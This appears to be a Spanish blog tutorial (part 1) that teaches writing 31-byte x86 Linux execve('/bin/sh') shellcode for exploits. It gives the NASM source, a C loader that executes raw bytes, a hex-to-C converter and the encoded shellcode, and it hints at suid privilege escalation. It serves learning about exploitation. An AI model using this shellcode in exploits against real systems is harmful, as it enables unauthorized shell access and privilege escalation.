Cómo programar una shell code para utilizar en tus xploits (Parte 1)

Introducción

Cuando se produce un overflow en un programa, podemos sobreescribir EIP “Instruction Pointer” (entre otras cosas). Si sobreescribimos este registro con una dirección que contiene código propio, se ejecutará. Esto es, podemos ejecutar código con los permisos que tiene el programa ejecutado. ¿Qué pasa si el programa tiene el bit de suid activado? Lo dejo a vuestra imaginación.

Encontrar este tipo de xploits es muy difícil hoy en dia, puesto que hay muchas herramientas de análisis de código que evitan que se produzcan tremendos errores de seguridad. Aun así, podemos encontrar o programar algo a medida simplemente para aumentar conocimientos, que es en lo que consiste la curiosidad (lo otro se llama ‘prensa rosa’).

Nasm – Ensamblador tipo intel para x86

NASM es un ensamblador libre de tipo intel. Lo he elegido porque es con lo que yo estoy familiarizado.

Como siempre, los que tengan debian o similares:

# apt-get install nasm

Linux System Calls

Las llamadas a sistema en Linux se hacen con parámetros en los registros e invocando la interrupción 80h.

Un ejemplo sería:

mov eax,1     ; eax = 1 => exit syscall
xor ebx,ebx   ; ebx = 0 => ebx = int
int 0x80      ; Ejecutar syscall

Podéis consultar una tabla de syscalls aquí

Ejemplo clásico: ejecutar una shell (/bin/sh)

Para ejecutar una shell tenemos que tener en cuenta que debemos administrar un parámetro de cadena, esto es “/bin/sh” a la función syscall correspondiente. Pero, ¿cómo hacemos esto si no sabemos en qué parte de la memoria irá nuestra shellcode? Mmmm… difícil a primera vista.

Bien, existe un truco. Cuando se realiza un “call”, la cima de la pila contiene la siguiente dirección de memoria que va tras ella, así, al hacer “ret”, se podrá apuntar el PC (contador de programa) a esa dirección y seguir con el código del programa. Así que … con estos datos sabemos que la siguiente dirección de memoria tras un “call” podemos conseguirla de la pila con “pop ”. Bien, si tras ese “call” ponemos datos, ya tenemos la forma de apuntar a ellos.

Ejemplo:

BITS 32

 jmp short datos

código:

 pop esi   ; char [ESI]   = 'c'
           ; char [ESI+1] = 'a'
           ; char [ESI+2] = 'd'
           ; ...
           ; char [ESI+5] = 'a'

datos:
 call codigo

db 'cadena'

Al final de nuestra variable cadena debería haber un caracter nulo ‘\0’ , pero las shellcodes no se llevan muy bien ni con ellos, ni con los retornos de carro y algunas cosas más; así que tenemos que añadirlo nosotros.
Cuidado con operaciones que tengan 0’s. Hacer “mov eax, 0” hará que el binario compilado contenga caracteres ‘\0’.
Recordad que para poner algo a 0 basta con hacer un XOR consigo mismo.

BITS 32

 jmp short datos:
codigo:
 pop esi
 xor eax, eax          ; EAX = 0 (EAX/AX/AH/AL)
 mov byte [esi+7], al  ; Cambiamos '#' por '0'

datos:
 call codigo

db '/bin/sh#'   ; Termina en '#' para reservar la memoria del '\0'

Vale. Ahora, miramos en la tabla de syscalls y vemos que sys_execve es la 11.
La implementación en C es la siguiente:

int execve (const char *filename, char *const argv [], char *const envp[]);

Así que necesitamos tres punteros a los argumentos. El primer puntero ya sabemos cómo conseguirlo, el segundo, NULL, no queremos argumentos y en la opción de envp le metemos un NULL, que no nos hace falta para nada. Así la llamada a la syscall execve tendra a eax=11 (0xb), ebx = dirección donde empieza ‘/bin/sh’, ecx = NULL y edx = NULL.

Más o menos quedaría así:

BITS 32        ; Máquina de 32 bits - las shellcodes son específicas


 jmp short datos
codigo:
 pop esi
 xor eax, eax          ; EAX = 0 (EAX/AX/AH/AL)
 mov byte [esi+7], al  ; Cambiamos '#' por '0'
 mov al,11             ; syscall 11
 mov ebx, esi          ; ebx apunta a '/bin/sh\0'
 xor ecx,ecx           ; ecx = 0 NULL
 xor edx,edx           ; edx = 0 NULL
 int 0x80              ; syscall!

datos:
 call codigo

db '/bin/sh#'

Esto lo grabamos por ejemplo a un archivito llamador “exec.asm” y ejecutamos:

$ nasm -o exec exec.asm

Ahora se ha generado un archivito llamado “exec”. Ese archivo binario es nuestra shellcode!!! Pero, ¿cómo la probamos? No se puede ejecutar sin más, pues no es un elf, ni tiene ningún formato de ejecutable, es código máquina puro y duro.

Probando la shellcode

Para probarla podemos usar el siguiente programita en C. Su uso es:

$ gcc -o testshell testshell.c
$ ./testshell exec (u otro fichero bin generado por nasm)

El programita que carga el fichero como función es:

/* Coded by brue - brue.org - testshell.c */
#include <stdio.h>
#include <stdlib.h>

#define MAX_SIZE 1000

int main(int argc, char** argv){

  FILE* f;
  int   b, c=0;
  char*  m;
  void  (*func)(void);


  if (argc<2){
    printf("Use: %s <file>\n",argv[0]);
    return 1;
  }

  f = fopen(argv[1],"r");
  if (f){
    m = malloc(MAX_SIZE);
    while((b=fgetc(f))!=EOF){
      *(m+c)=b;
      if ((c++)==MAX_SIZE) return 3;
    }
    fclose(f);
    printf("Executing...\n");
    func = (void (*)(void)) m;
    (*func)();
    return 0;
  }
  else{
    printf("Error opening: %s\n",argv[1]);
    return 2;
  }
}

Así que cuando ejecutamos el comando obtenemos:

$ ./testshell exec
Executing...
$

…carga la shell sh!!! Funciona!!! (con ctrl-d podemos retornar a nuestra shell original).

Hemos hecho un binario en código máquina que ejecuta una shell en un linux x86 en tan sólo 31 bytes.

Ahora que tenemos esto, ¿cómo lo usamos en nuestro exploit? Vamos a verlo, con un ejemplo de uso en el lenguaje de sistemas C.

Cómo usar el archivo compilado en nuestro código en C

Una vez que tenemos nuestro archivo binario creado por nasm podéis usar el siguiente programita en C para convertir vuestra shell en una variable de C. Para compilarlo haremos:

$ gcc -o hex2c hex2c.c

Para usarlo:

$ ./hex2c exec (o nombre del binario)

Como salida nos encontramos:

$ brue@doppler:~/svn/brue/personal/hack/shcode$ ./hex2c exec

char shell[]=
"\xeb\x10\x5e\x31\xc0"
"\x88\x46\x07\xb0\x0b"
"\x89\xf3\x31\xc9\x31"
"\xd2\xcd\x80\xe8\xeb"
"\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68"
"\x23";

31 bytes shellcode!

Esta variable la podremos usar como shell code en nuestro exploit … pero eso ya es otra receta.

/* Coded by brue - brue.org - hex2c.c   *
 *                                      *
 * Compile with 'gcc -o hex2c hex2c.c'  */

#include <stdio.h>


int main(int argc ,char** argv){

  FILE* f;
  int  b;
  int cont=0;

  if (argc<2){
    printf("Use: %s <file>\n",argv[0]);
    return 1;
  }

  f = fopen(argv[1],"r");
  if (f){
    printf("\n");
    printf("char shell[]=\n\"");
    while((b=fgetc(f))!=EOF){
      cont++;
      printf("\\x%02x",(char*) b);
      if ((cont%5)==0){
	printf("\"\n\"");
      }
    }
    printf("\";\n\n");
    printf("%d bytes shellcode!\n",cont);
    fclose(f);
  }
  else{
    printf("Error opening: %s\n",argv[1]);
    return 2;
  }

  return 0;
}

Esta receta es sólo una introducción y pretende ser guía para algún curioso que pare por aquí. No es ejemplo del mejor C, ni del mejor asm x86…

Enlaces

Safemode.org
Linux System Calls Table
NASM



blog comments powered by Disqus